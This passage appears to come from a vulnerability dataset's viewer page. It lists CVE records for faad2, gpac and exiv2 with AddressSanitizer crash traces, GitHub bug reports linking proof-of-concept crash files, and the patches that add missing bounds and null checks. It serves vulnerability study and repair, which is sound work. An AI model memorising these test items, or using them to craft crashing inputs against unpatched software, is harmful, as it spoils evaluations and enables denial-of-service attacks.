0x7ffccaecdc80 sp 0x7ffccaecdc70 WRITE of size 4 at 0x7ffccaece094 thread T0 #0 0x7f28af4fcf50 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1314 #1 0x7f28af4fa392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83 #2 0x7f28af518725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363 #3 0x7f28af51a7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637 #4 0x7f28af4c2b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071 #5 0x7f28af4cae28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631 #6 0x7f28af4c9354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351 #7 0x7f28af4ca2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441 #8 0x7f28af4849c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990 #9 0x7f28af484566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821 #10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679 #11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323 #12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366 #13 0x7f28af0bc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8) Address 0x7ffccaece094 is located in stack of thread T0 at offset 20 in frame #0 0x7f28af4f9d8e in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:60 This frame has 1 object(s): [32, 2972) 'adj' <== Memory access at offset 20 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-underflow /root/faad2_asan/libfaad/sbr_hfadj.c:1314 calculate_gain Shadow bytes around the buggy address: 0x1000195d1bc0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1bd0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 0x1000195d1be0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1bf0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f3 f3 0x1000195d1c00: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x1000195d1c10: f1 f1[f1]f1 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==7044==ABORTING
=== https://github.com/knik0/faad2/issues/21 === Title: stack-buffer-underflow in function calculate_gain(libfaad/sbr_hfadj.c:1314) --- Body: Hi, i found a stack-buffer-overflow bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8, the details are below(ASAN): ``` ./faad faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 -o out.wav *********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ****************** Build: Dec 13 2018 Copyright 2002-2004: Ahead Software AG http://www.audiocoding.com bug tracking: https://sourceforge.net/p/faac/bugs/ Floating point version This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. ************************************************************************** faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 file info: ADTS, 0.555 sec, 40 kbps, 48000 Hz --------------------- | Config: 2 Ch | --------------------- | Ch | Position | --------------------- | 00 | Left front | | 01 | Right front | --------------------- ================================================================= ==7044==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffccaece094 at pc 0x7f28af4fcf51 bp 0x7ffccaecdc80 sp 0x7ffccaecdc70 WRITE of size 4 at 0x7ffccaece094 thread T0 #0 0x7f28af4fcf50 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1314 #1 0x7f28af4fa392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83 #2 0x7f28af518725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363 #3 0x7f28af51a7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637 #4 0x7f28af4c2b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071 #5 0x7f28af4cae28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631 #6 0x7f28af4c9354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351 #7 0x7f28af4ca2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441 #8 0x7f28af4849c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990 #9 0x7f28af484566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821 #10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679 #11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323 #12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366 #13 0x7f28af0bc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8) Address 0x7ffccaece094 is located in stack of thread T0 at offset 20 in frame #0 0x7f28af4f9d8e in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:60 This frame has 1 object(s): [32, 2972) 'adj' <== Memory access at offset 20 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-underflow /root/faad2_asan/libfaad/sbr_hfadj.c:1314 calculate_gain Shadow bytes around the buggy address: 0x1000195d1bc0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1bd0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 0x1000195d1be0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1bf0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f3 f3 0x1000195d1c00: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x1000195d1c10: f1 f1[f1]f1 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000195d1c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==7044==ABORTING ``` POC FILE:https://github.com/fantasy7082/image_test/blob/master/015-stack-buffer-underflow-sbr_hfadj_1314 --- Comment #1 by hlef: The crash happens when accessing Q_M_lim and G_lim arrays at position m > MAX_M. G_lim contains the limiter to the gain for each QMF channel. The G_lim array has therefore MAX_M elements (= maximum number of QMF channels). m is obtained from (user passed) f_table_lim, which contains frequency band borders. A frequency band is a group of consecutive QMF channels. Therefore m is a QMF channel number, meaning that the maximum value of m is also MAX_M. There is no check for m > MAX_M. We should do it, it's user input. Detecting such invalid input and rejecting it should fix this issue. I'll submit a PR soon. edit: the algorithm and all variables are defined in ISO/IEC 14496-3:2001. You can find a copy of it [here](https://www.mp3-tech.org/programmer/docs/w4611.pdf).
https://nvd.nist.gov/vuln/detail/CVE-2018-20194
gpac.cve-2023-4721
Out-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV.
https://huntr.dev/bounties/f457dc62-3cff-47bd-8fd2-1cb2b4a832fc
https://github.com/gpac/gpac/commit/3ec93d73d048ed7b46fe6e9f307cc7a0cc13db63, https://huntr.dev/bounties/f457dc62-3cff-47bd-8fd2-1cb2b4a832fc
CWE-125
gpac/gpac
3ec93d73d048ed7b46fe6e9f307cc7a0cc13db63~1
diff --git a/src/media_tools/mpeg2_ps.c b/src/media_tools/mpeg2_ps.c index 0af7a31f32..b0182f2249 100644 --- a/src/media_tools/mpeg2_ps.c +++ b/src/media_tools/mpeg2_ps.c @@ -266,6 +266,8 @@ int MPEG12_ParseSeqHdr(unsigned char *pbuffer, u32 buflen, s32 *have_mpeg2, u32 u32 scode, ix; s32 found = -1; *have_mpeg2 = 0; + if (buflen<6) return found; + buflen -= 6; bitrate_int = 0; for (ix = 0; ix < buflen; ix++, pbuffer++) {
ASan (inferred)
https://nvd.nist.gov/vuln/detail/CVE-2023-4721
gpac.cve-2022-3178
Buffer Over-read in GitHub repository gpac/gpac prior to 2.1.0-DEV.
https://huntr.dev/bounties/f022fc50-3dfd-450a-ab47-3d75d2bf44c0
https://github.com/gpac/gpac/commit/77510778516803b7f7402d7423c6d6bef50254c3, https://huntr.dev/bounties/f022fc50-3dfd-450a-ab47-3d75d2bf44c0
CWE-125, CWE-126
gpac/gpac
77510778516803b7f7402d7423c6d6bef50254c3~1
diff --git a/src/isomedia/box_code_base.c b/src/isomedia/box_code_base.c index 3cf6b3bd38..b7ee3e356e 100644 --- a/src/isomedia/box_code_base.c +++ b/src/isomedia/box_code_base.c @@ -12886,11 +12886,12 @@ GF_Err xtra_box_read(GF_Box *s, GF_BitStream *bs) prop_type = gf_bs_read_u16(bs); prop_size -= 6; ISOM_DECREASE_SIZE_NO_ERR(ptr, prop_size) - //add 2 extra bytes for UTF16 case string dump - data2 = gf_malloc(sizeof(char) * (prop_size+2)); + //add 3 extra bytes for UTF16 case string dump (3 because we need 0-aligned short value) + data2 = gf_malloc(sizeof(char) * (prop_size+3)); gf_bs_read_data(bs, data2, prop_size); data2[prop_size] = 0; data2[prop_size+1] = 0; + data2[prop_size+2] = 0; tag_size-=prop_size; } else { prop_size = 0;
https://nvd.nist.gov/vuln/detail/CVE-2022-3178
exiv2.cve-2018-19607
Exiv2::isoSpeed in easyaccess.cpp in Exiv2 v0.27-RC2 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted file.
https://github.com/Exiv2/exiv2/issues/561
https://github.com/Exiv2/exiv2/issues/561
CWE-476
Exiv2/exiv2
https://github.com/Exiv2/exiv2/issues/561
==91500==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f186e2da05a bp 0x7fff4e8fe260 sp 0x7fff4e8fd9f0 T0) #0 0x7f186e2da059 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x47059) #1 0x7f186db38b0c in Exiv2::isoSpeed(Exiv2::ExifData const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/easyaccess.cpp:178 #2 0x42f9fd in Action::Print::printTag(Exiv2::ExifData const&, std::_List_const_iterator<Exiv2::Exifdatum> (*)(Exiv2::ExifData const&), std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) const /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:500 #3 0x42d6c2 in Action::Print::printSummary() /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:387 #4 0x42b9db in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:246 #5 0x4139a6 in main /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/exiv2.cpp:169 #6 0x7f186cf9a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #7 0x413308 in _start (/home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/build_asan/bin/exiv2+0x413308) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ??
=== https://github.com/Exiv2/exiv2/issues/561 === Title: CVE-2018-19607: SEGV in Exiv2::isoSpeed at easyaccess.cpp:178 --- Body: Tested in ubuntu 16.04 64bit, exiv2 (master 3f2e0de && 0.27-RC2) `$ exiv2 $POC` [POC file](https://github.com/Marsman1996/pocs/blob/master/exiv2/CVE-2018-19607/poc9-isoSpeed) gdb info: ``` Program received signal SIGSEGV, Segmentation fault. __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31 31 ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory. (gdb) bt #0 __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31 #1 0x00007ffff794b9ff in Exiv2::isoSpeed (ed=...) at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/easyaccess.cpp:178 #2 0x0000000000425aef in Action::Print::printTag (this=0x65dde0, exifData=..., easyAccessFct=0x412390 <Exiv2::isoSpeed(Exiv2::ExifData const&)@plt>, label="ISO speed") at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:500 #3 0x0000000000424038 in Action::Print::printSummary (this=0x65dde0) at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:387 #4 0x0000000000422901 in Action::Print::run (this=0x65dde0, path="/home/marsman/Desktop/poc9-isoSpeed") at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:246 #5 0x0000000000412e39 in main (argc=2, argv=0x7fffffffdda8) at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/exiv2.cpp:169 ``` ASAN info: ``` ==91500==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f186e2da05a bp 0x7fff4e8fe260 sp 0x7fff4e8fd9f0 T0) #0 0x7f186e2da059 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x47059) #1 0x7f186db38b0c in Exiv2::isoSpeed(Exiv2::ExifData const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/easyaccess.cpp:178 #2 0x42f9fd in Action::Print::printTag(Exiv2::ExifData const&, std::_List_const_iterator<Exiv2::Exifdatum> (*)(Exiv2::ExifData const&), std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) const /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:500 #3 0x42d6c2 in Action::Print::printSummary() /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:387 #4 0x42b9db in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:246 #5 0x4139a6 in main /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/exiv2.cpp:169 #6 0x7f186cf9a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #7 0x413308 in _start (/home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/build_asan/bin/exiv2+0x413308) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ?? ``` Addition: This bug was found with mem-AFL, which is based on AFL. Mem-AFL is developed by Yanhao(unfuzzable123@gmail.com) & Marsman1996(lqliuyuwei@outlook.com) --- Comment #1 by piponazo: Confirmed. I could reproduce the issue in my desktop with Ubuntu 18.04 and gcc-7.3. Thanks for reporting! We will try to fix this issue ASAP. --- Comment #2 by piponazo: @Marsman1996 the issue should be fixed now. Could you please confirm? --- Comment #3 by Marsman1996: @piponazo I think this issue should be fixed, since exiv2 (master 6e42c1b) no longer crashes or something else when open the poc file. --- Comment #4 by carnil: This issue has been assigned [CVE-2018-19607](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19607)
https://nvd.nist.gov/vuln/detail/CVE-2018-19607
gpac.cve-2023-3012
NULL Pointer Dereference in GitHub repository gpac/gpac prior to 2.2.2.
https://huntr.dev/bounties/916b787a-c603-409d-afc6-25bb02070e69
https://github.com/gpac/gpac/commit/53387aa86c1af1228d0fa57c67f9c7330716d5a7, https://huntr.dev/bounties/916b787a-c603-409d-afc6-25bb02070e69
CWE-476
gpac/gpac
53387aa86c1af1228d0fa57c67f9c7330716d5a7~1
diff --git a/src/utils/xml_parser.c b/src/utils/xml_parser.c index 49df338164..11f6f2f5ca 100644 --- a/src/utils/xml_parser.c +++ b/src/utils/xml_parser.c @@ -704,6 +704,8 @@ static void xml_sax_parse_entity(GF_SAXParser *parser) } } if (ent_name) gf_free(ent_name); + if (ent && !ent->value) + parser->sax_state = SAX_STATE_SYNTAX_ERROR; xml_sax_store_text(parser, i); } @@ -968,7 +970,7 @@ static GF_Err xml_sax_parse(GF_SAXParser *parser, Bool force_parse) static GF_Err xml_sax_append_string(GF_SAXParser *parser, char *string) { u32 size = parser->line_size; - u32 nl_size = (u32) strlen(string); + u32 nl_size = string ? (u32) strlen(string) : 0; if (!nl_size) return GF_OK;
https://nvd.nist.gov/vuln/detail/CVE-2023-3012
End of preview. Expand in Data Studio
README.md exists but content is empty.
Downloads last month
37